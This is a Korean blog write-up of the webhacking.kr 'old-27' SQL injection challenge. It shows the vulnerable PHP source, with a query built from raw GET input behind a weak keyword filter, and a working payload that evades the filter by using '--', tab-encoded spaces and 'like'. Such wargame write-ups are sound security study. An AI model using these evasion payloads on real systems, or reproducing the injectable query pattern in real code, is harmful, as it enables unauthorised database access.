write-up(web)/webhacking.kr

[Webhacking.kr] old-27

chanchand 2023. 11. 2. 16:16
반응형

문제


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 

 

 

문제풀이


admin의 no는 2이며, id가 admin일 때 문제가 해결된다.

필터링은 #, select, limit, 공백, (, 0x, =를 하고 있다.

 

no=(0) or no=(2)

#대신 —를 사용해서 주석처리를 하고,

공백 대신 %09를 사용하고,

= 대신 like를 사용

 

no=(0)%09or%09no%09like%092—%09)

 

주석(--) 뒤에 공백이나 문자 처리를 해주어야 한다.

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-29  (0) 2023.11.02
[Webhacking.kr] old-28  (0) 2023.11.02
[Webhacking.kr] old-22  (0) 2023.11.02
[Webhacking.kr] old-21  (0) 2023.11.02
[Webhacking.kr] old-20  (0) 2023.11.02